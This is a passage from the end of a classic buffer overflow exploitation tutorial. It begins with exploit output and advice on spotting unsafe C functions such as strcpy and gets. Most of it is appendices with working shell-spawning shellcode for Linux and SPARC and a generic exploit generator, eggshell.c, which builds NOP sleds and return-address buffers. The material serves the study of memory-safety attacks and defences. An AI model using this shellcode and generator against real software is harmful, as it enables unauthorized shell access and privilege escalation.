  1310. ñ ┐░ñ ┐░ñ ┐░ñ ┐░ñ ┐░ñ ┐░ñ ┐░ñ ┐░ñ ┐░ñ ┐░ñ ┐░ñ ┐░ñ ┐░ñ ┐░ñ ┐░ñ ┐░ñ ┐░ñ ┐░ñ ┐░ñ ┐░ñ ┐░ñ ┐░ñ ┐░ñ ┐░ñ ┐░ñ ┐░ñ ┐░ñ ┐░ñ ┐░ñ ┐░ñ ┐░ñ ┐░ñ ┐░ñ ┐░ñ ┐░ñ ┐░ñ ┐░ñ ┐░ñ ┐░ñ ┐░ñ ┐░ñ ┐░ñ ┐░ñ ┐░ñ ┐░ñ ┐░ñ ┐░ñ ┐░ñ ┐░ñ ┐░ñ ┐░ñ ┐░ñ ┐░ñ ┐░ñ ┐░ñ ┐░ñ ┐░ñ ┐░ñ ┐░ñ ┐░ñ ┐░ñ ┐░ñ ┐░ñ ┐
  1311.  
  1312. ░ñ ┐░ñ ┐░ñ ┐░ñ ┐░ñ ┐░ñ ┐░ñ ┐░ñ ┐░ñ ┐░ñ ┐░ñ ┐░ñ ┐░ñ ┐░ñ ┐░ñ ┐░ñ ┐░ñ ┐░ñ ┐░ñ ┐░ñ ┐░ñ ┐░ñ ┐░ñ ┐░ñ ┐░ñ ┐░ñ ┐░ñ ┐░ñ ┐░ñ ┐░ñ ┐░ñ ┐░ñ ┐░ñ ┐░ñ ┐░ñ ┐░ñ ┐░ñ ┐░ñ ┐░ñ ┐░ñ ┐░ñ ┐░ñ ┐░ñ ┐░ñ ┐░ñ ┐░ñ ┐░ñ ┐░ñ ┐░ñ ┐░ñ ┐░ñ ┐░ñ ┐░ñ ┐░ñ ┐░ñ ┐░ñ ┐░ñ ┐░ñ ┐░ñ ┐░ñ ┐░ñ ┐░ñ ┐░ñ ┐░ñ 
  1313.  
  1314. ┐░ñ ┐░ñ ┐░ñ ┐░ñ ┐░ñ ┐░ñ ┐░ñ ┐░ñ ┐░ñ ┐░ñ ┐░ñ ┐░ñ ┐░ñ ┐░ñ ┐░ñ ┐░ñ ┐░ñ ┐░ñ ┐░ñ ┐░ñ ┐░ñ ┐░ñ ┐░ñ ┐░ñ ┐░ñ ┐░ñ ┐░ñ ┐░ñ ┐░ñ ┐░ñ ┐░ñ ┐░ñ ┐░ñ ┐░ñ ┐░ñ ┐░ñ ┐░ñ ┐░ñ ┐░ñ ┐░ñ ┐░ñ ┐░ñ ┐░ñ ┐░ñ ┐░ñ ┐░ñ ┐░ñ ┐░ñ ┐░ñ ┐░ñ ┐░ñ ┐░ñ ┐░ñ ┐░ñ ┐░ñ ┐░ñ ┐░ñ ┐░ñ ┐░ñ ┐░ñ ┐░ñ ┐░ñ ┐░ñ ┐░ñ
  1315.  
  1316.  ┐░ñ ┐░ñ ┐░ñ ┐░ñ ┐░ñ ┐░ñ ┐░ñ ┐░ñ ┐░ñ ┐░ñ ┐░ñ ┐░ñ ┐░ñ ┐░ñ ┐░ñ ┐░ñ ┐░ñ ┐░ñ ┐░ñ ┐░ñ ┐░ñ ┐░ñ ┐░ñ ┐░ñ ┐░ñ ┐░ñ ┐░ñ ┐░ñ ┐░ñ ┐░ñ ┐░ñ ┐░ñ ┐░ñ ┐░ñ ┐░ñ ┐░ñ ┐░ñ ┐░ñ ┐░ñ ┐░ñ ┐░ñ ┐░ñ ┐░ñ ┐░ñ ┐░ñ ┐░ñ ┐░ñ ┐░ñ ┐░ñ ┐░ñ ┐░ñ ┐░ñ ┐░ñ ┐░ñ ┐░ñ ┐░ñ ┐░ñ ┐░ñ ┐░ñ ┐░ñ ┐░ñ ┐░ñ ┐░ñ ┐░
  1317.  
  1318. ñ ┐░ñ ┐░ñ ┐░ñ ┐░ñ ┐░ñ ┐░ñ ┐░ñ ┐░ñ ┐░ñ ┐░ñ ┐░ñ ┐░ñ ┐░ñ ┐░ñ ┐░ñ ┐░ñ ┐░ñ ┐░ñ ┐░ñ ┐░ñ ┐░ñ ┐░ñ ┐░ñ ┐░ñ ┐░ñ ┐░ñ ┐░ñ ┐░ñ ┐░ñ ┐░ñ ┐░ñ ┐░ñ ┐░ñ ┐░ñ ┐░ñ ┐░ñ ┐░ñ ┐░ñ ┐░ñ ┐░ñ ┐░ñ ┐░ñ ┐░ñ ┐░ñ ┐░ñ ┐░ñ ┐░ñ ┐░ñ ┐░ñ ┐░ñ ┐░ñ ┐░ñ ┐░ñ ┐░ñ ┐░ñ ┐░ñ ┐░ñ ┐░ñ ┐░ñ ┐░ñ ┐░ñ ┐░ñ ┐░ñ ┐
  1319.  
  1320. ░ñ ┐░ñ ┐░ñ ┐░ñ ┐░ñ ┐░ñ ┐░ñ ┐░ñ ┐░ñ ┐░ñ ┐░ñ ┐░ñ ┐░ñ ┐░ñ ┐░ñ ┐░ñ ┐░ñ ┐░ñ ┐░ñ ┐░ñ ┐░ñ ┐░ñ ┐░ñ ┐░ñ ┐░ñ ┐░ñ ┐░ñ ┐░ñ ┐░ñ ┐░ñ ┐░ñ ┐░ñ ┐░ñ ┐░ñ ┐░ñ ┐░ñ ┐░ñ ┐░ñ ┐░ñ ┐░ñ ┐░ñ ┐░ñ ┐░ñ ┐░ñ ┐░ñ ┐░ñ ┐░ñ ┐░ñ ┐░ñ ┐░ñ ┐░ñ ┐░ñ ┐░ñ ┐░ñ ┐░ñ ┐░ñ ┐░ñ ┐░ñ ┐░ñ ┐░ñ ┐░ñ ┐░ñ ┐░ñ ┐░ñ 
  1321.  
  1322. ┐░ñ ┐░ñ ┐░ñ ┐░ñ ┐░ñ ┐░ñ ┐░ñ ┐░ñ ┐░ñ ┐░ñ ┐░ñ ┐░ñ ┐░ñ ┐░ñ ┐░ñ ┐░ñ ┐░ñ ┐░ñ ┐░ñ ┐░ñ ┐░ñ ┐░ñ ┐░ñ ┐░ñ ┐░ñ ┐░ñ ┐░ñ ┐░ñ ┐░ñ ┐░ñ ┐░ñ ┐░ñ ┐░ñ ┐░ñ ┐░ñ ┐░ñ ┐░ñ ┐░ñ ┐░ñ ┐░ñ ┐░ñ ┐░ñ ┐░ñ ┐░ñ ┐░ñ ┐░ñ ┐░ñ ┐░ñ ┐░ñ ┐░ñ ┐░ñ ┐░ñ ┐░ñ ┐░ñ ┐░ñ ┐░ñ ┐░ñ ┐░ñ ┐░ñ ┐░ñ ┐░ñ ┐░ñ ┐░ñ ┐░ñ
  1323.  
  1324.  ┐░ñ ┐░ñ ┐░ñ ┐░ñ ┐░ñ ┐░ñ ┐░ñ ┐░ñ ┐░ñ ┐░ñ ┐░ñ ┐░ñ ┐░ñ ┐░ñ ┐░ñ ┐░ñ ┐░ñ ┐░ñ ┐░ñ ┐░ñ ┐░ñ ┐░ñ ┐░ñ ┐░ñ ┐░ñ ┐░ñ ┐░ñ ┐░ñ ┐░ñ ┐░ñ ┐░ñ ┐░ñ ┐░ñ ┐░ñ ┐░ñ ┐░ñ ┐░ñ ┐░ñ ┐░ñ ┐░ñ ┐░ñ ┐░ñ ┐░ñ ┐░ñ ┐░ñ ┐░ñ ┐░ñ ┐░ñ ┐░ñ ┐░ñ ┐░ñ ┐░ñ ┐░ñ ┐░ñ ┐░ñ ┐░ñ ┐░ñ ┐░ñ ┐░ñ ┐░ñ ┐░ñ ┐░ñ  ┐░ñ ┐
  1325.  
  1326. ░ñ ┐░ñ ┐░ñ
  1327. Warning: some arguments in previous message were lost
  1328. $
  1329. ------------------------------------------------------------------------------
  1330.  
  1331. On the first try! It has certainly increased our odds. Depending how much
  1332. environment data the exploit program has compared with the program you are
  1333. trying to exploit the guessed address may be to low or to high. Experiment
  1334. both with positive and negative offsets.
  1335.  
  1336. Finding Buffer Overflows
  1337.  
  1338. As stated earlier, buffer overflows are the result of stuffing more
  1339. information into a buffer than it is meant to hold. Since C does not have
  1340. any built-in bounds checking, overflows often manifest themselves as
  1341. writing past the end of a character array. The standard C library provides
  1342. a number of functions for copying or appending strings, that perform no
  1343. boundary checking. They include: strcat(), strcpy(), sprintf(), and
  1344. vsprintf(). These functions operate on null-terminated strings, and do not
  1345. check for overflow of the receiving string. gets() is a function that reads
  1346. a line from stdin into a buffer until either a terminating newline or EOF.
  1347. It performs no checks for buffer overflows. The scanf() family of functions
  1348. can also be a problem if you are matching a sequence of non-white-space
  1349. characters (%s), or matching a non-empty sequence of characters from a
  1350. specified set (%[]), and the array pointed to by the char pointer, is not
  1351. large enough to accept the whole sequence of characters, and you have not
  1352. defined the optional maximum field width. If the target of any of these
  1353. functions is a buffer of static size, and its other argument was somehow
  1354. derived from user input there is a good posibility that you might be able
  1355. to exploit a buffer overflow.
  1356.  
  1357. Another usual programming construct we find is the use of a while loop to
  1358. read one character at a time into a buffer from stdin or some file until
  1359. the end of line, end of file, or some other delimiter is reached. This type
  1360. of construct usually uses one of these functions: getc(), fgetc(), or
  1361. getchar(). If there is no explicit checks for overflows in the while loop,
  1362. such programs are easily exploited.
  1363.  
  1364. To conclude, grep(1) is your friend. The sources for free operating systems
  1365. and their utilities is readily available. This fact becomes quite
  1366. interesting once you realize that many comercial operating systems
  1367. utilities where derived from the same sources as the free ones. Use the
  1368. source d00d.
  1369.  
  1370. Appendix A - Shellcode for Different Operating Systems/Architectures
  1371.  
  1372. i386/Linux
  1373. ------------------------------------------------------------------------------
  1374.         jmp    0x1f
  1375.         popl   %esi
  1376.         movl   %esi,0x8(%esi)
  1377.         xorl   %eax,%eax
  1378.         movb   %eax,0x7(%esi)
  1379.         movl   %eax,0xc(%esi)
  1380.         movb   $0xb,%al
  1381.         movl   %esi,%ebx
  1382.         leal   0x8(%esi),%ecx
  1383.         leal   0xc(%esi),%edx
  1384.         int    $0x80
  1385.         xorl   %ebx,%ebx
  1386.         movl   %ebx,%eax
  1387.         inc    %eax
  1388.         int    $0x80
  1389.         call   -0x24
  1390.         .string \"/bin/sh\"
  1391. ------------------------------------------------------------------------------
  1392.  
  1393. SPARC/Solaris
  1394. ------------------------------------------------------------------------------
  1395.         sethi   0xbd89a, %l6
  1396.         or      %l6, 0x16e, %l6
  1397.         sethi   0xbdcda, %l7
  1398.         and     %sp, %sp, %o0
  1399.         add     %sp, 8, %o1
  1400.         xor     %o2, %o2, %o2
  1401.         add     %sp, 16, %sp
  1402.         std     %l6, [%sp - 16]
  1403.         st      %sp, [%sp - 8]
  1404.         st      %g0, [%sp - 4]
  1405.         mov     0x3b, %g1
  1406.         ta      8
  1407.         xor     %o7, %o7, %o0
  1408.         mov     1, %g1
  1409.         ta      8
  1410. ------------------------------------------------------------------------------
  1411.  
  1412. SPARC/SunOS
  1413. ------------------------------------------------------------------------------
  1414.         sethi   0xbd89a, %l6
  1415.         or      %l6, 0x16e, %l6
  1416.         sethi   0xbdcda, %l7
  1417.         and     %sp, %sp, %o0
  1418.         add     %sp, 8, %o1
  1419.         xor     %o2, %o2, %o2
  1420.         add     %sp, 16, %sp
  1421.         std     %l6, [%sp - 16]
  1422.         st      %sp, [%sp - 8]
  1423.         st      %g0, [%sp - 4]
  1424.         mov     0x3b, %g1
  1425.         mov     -0x1, %l5
  1426.         ta      %l5 + 1
  1427.         xor     %o7, %o7, %o0
  1428.         mov     1, %g1
  1429.         ta      %l5 + 1
  1430. ------------------------------------------------------------------------------
  1431.  
  1432. Appendix B - Generic Buffer Overflow Program
  1433.  
  1434. shellcode.h
  1435. ------------------------------------------------------------------------------
  1436. #if defined(__i386__) && defined(__linux__)
  1437.  
  1438. #define NOP_SIZE        1
  1439. char nop[] = "\x90";
  1440. char shellcode[] =
  1441.   "\xeb\x1f\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89\x46\x0c\xb0\x0b"
  1442.   "\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\x31\xdb\x89\xd8\x40\xcd"
  1443.   "\x80\xe8\xdc\xff\xff\xff/bin/sh";
  1444.  
  1445. unsigned long get_sp(void) {
  1446.    __asm__("movl %esp,%eax");
  1447. }
  1448.  
  1449. #elif defined(__sparc__) && defined(__sun__) && defined(__svr4__)
  1450.  
  1451. #define NOP_SIZE        4
  1452. char nop[]="\xac\x15\xa1\x6e";
  1453. char shellcode[] =
  1454.   "\x2d\x0b\xd8\x9a\xac\x15\xa1\x6e\x2f\x0b\xdc\xda\x90\x0b\x80\x0e"
  1455.   "\x92\x03\xa0\x08\x94\x1a\x80\x0a\x9c\x03\xa0\x10\xec\x3b\xbf\xf0"
  1456.   "\xdc\x23\xbf\xf8\xc0\x23\xbf\xfc\x82\x10\x20\x3b\x91\xd0\x20\x08"
  1457.   "\x90\x1b\xc0\x0f\x82\x10\x20\x01\x91\xd0\x20\x08";
  1458.  
  1459. unsigned long get_sp(void) {
  1460.   __asm__("or %sp, %sp, %i0");
  1461. }
  1462.  
  1463. #elif defined(__sparc__) && defined(__sun__)
  1464.  
  1465. #define NOP_SIZE        4
  1466. char nop[]="\xac\x15\xa1\x6e";
  1467. char shellcode[] =
  1468.   "\x2d\x0b\xd8\x9a\xac\x15\xa1\x6e\x2f\x0b\xdc\xda\x90\x0b\x80\x0e"
  1469.   "\x92\x03\xa0\x08\x94\x1a\x80\x0a\x9c\x03\xa0\x10\xec\x3b\xbf\xf0"
  1470.   "\xdc\x23\xbf\xf8\xc0\x23\xbf\xfc\x82\x10\x20\x3b\xaa\x10\x3f\xff"
  1471.   "\x91\xd5\x60\x01\x90\x1b\xc0\x0f\x82\x10\x20\x01\x91\xd5\x60\x01";
  1472.  
  1473. unsigned long get_sp(void) {
  1474.   __asm__("or %sp, %sp, %i0");
  1475. }
  1476.  
  1477. #endif
  1478. ------------------------------------------------------------------------------
  1479.  
  1480. eggshell.c
  1481. ------------------------------------------------------------------------------
  1482. /*
  1483.  * eggshell v1.0
  1484.  *
  1485.  * Aleph One / aleph1@underground.org
  1486.  */
  1487. #include <stdlib.h>
  1488. #include <stdio.h>
  1489. #include "shellcode.h"
  1490.  
  1491. #define DEFAULT_OFFSET                    0
  1492. #define DEFAULT_BUFFER_SIZE             512
  1493. #define DEFAULT_EGG_SIZE               2048
  1494.  
  1495. void usage(void);
  1496.  
  1497. void main(int argc, char *argv[]) {
  1498.   char *ptr, *bof, *egg;
  1499.   long *addr_ptr, addr;
  1500.   int offset=DEFAULT_OFFSET, bsize=DEFAULT_BUFFER_SIZE;
  1501.   int i, n, m, c, align=0, eggsize=DEFAULT_EGG_SIZE;
  1502.  
  1503.   while ((c = getopt(argc, argv, "a:b:e:o:")) != EOF)
  1504.     switch (c) {
  1505.       case 'a':
  1506.         align = atoi(optarg);
  1507.         break;
  1508.       case 'b':
  1509.         bsize = atoi(optarg);
  1510.         break;
  1511.       case 'e':
  1512.         eggsize = atoi(optarg);
  1513.         break;
  1514.       case 'o':
  1515.         offset = atoi(optarg);
  1516.         break;
  1517.       case '?':
  1518.         usage();
  1519.         exit(0);
  1520.     }
  1521.  
  1522.   if (strlen(shellcode) > eggsize) {
  1523.     printf("Shellcode is larger the the egg.\n");
  1524.     exit(0);
  1525.   }
  1526.  
  1527.   if (!(bof = malloc(bsize))) {
  1528.     printf("Can't allocate memory.\n");
  1529.     exit(0);
  1530.   }
  1531.   if (!(egg = malloc(eggsize))) {
  1532.     printf("Can't allocate memory.\n");
  1533.     exit(0);
  1534.   }
  1535.  
  1536.   addr = get_sp() - offset;
  1537.   printf("[ Buffer size:\t%d\t\tEgg size:\t%d\tAligment:\t%d\t]\n",
  1538.     bsize, eggsize, align);
  1539.   printf("[ Address:\t0x%x\tOffset:\t\t%d\t\t\t\t]\n", addr, offset);
  1540.  
  1541.   addr_ptr = (long *) bof;
  1542.   for (i = 0; i < bsize; i+=4)
  1543.     *(addr_ptr++) = addr;
  1544.  
  1545.   ptr = egg;
  1546.   for (i = 0; i <= eggsize - strlen(shellcode) - NOP_SIZE; i += NOP_SIZE)
  1547.     for (n = 0; n < NOP_SIZE; n++) {
  1548.       m = (n + align) % NOP_SIZE;
  1549.       *(ptr++) = nop[m];
  1550.     }
  1551.  
  1552.   for (i = 0; i < strlen(shellcode); i++)
  1553.     *(ptr++) = shellcode[i];
  1554.  
  1555.   bof[bsize - 1] = '\0';
  1556.   egg[eggsize - 1] = '\0';
  1557.  
  1558.   memcpy(egg,"EGG=",4);
  1559.   putenv(egg);
  1560.  
  1561.   memcpy(bof,"BOF=",4);
  1562.   putenv(bof);
  1563.   system("/bin/sh");
  1564. }
  1565.  
  1566. void usage(void) {
  1567.   (void)fprintf(stderr,
  1568.     "usage: eggshell [-a ] [-b ] [-e ] [-o ]\n");
  1569. }
  1570.  
  1571.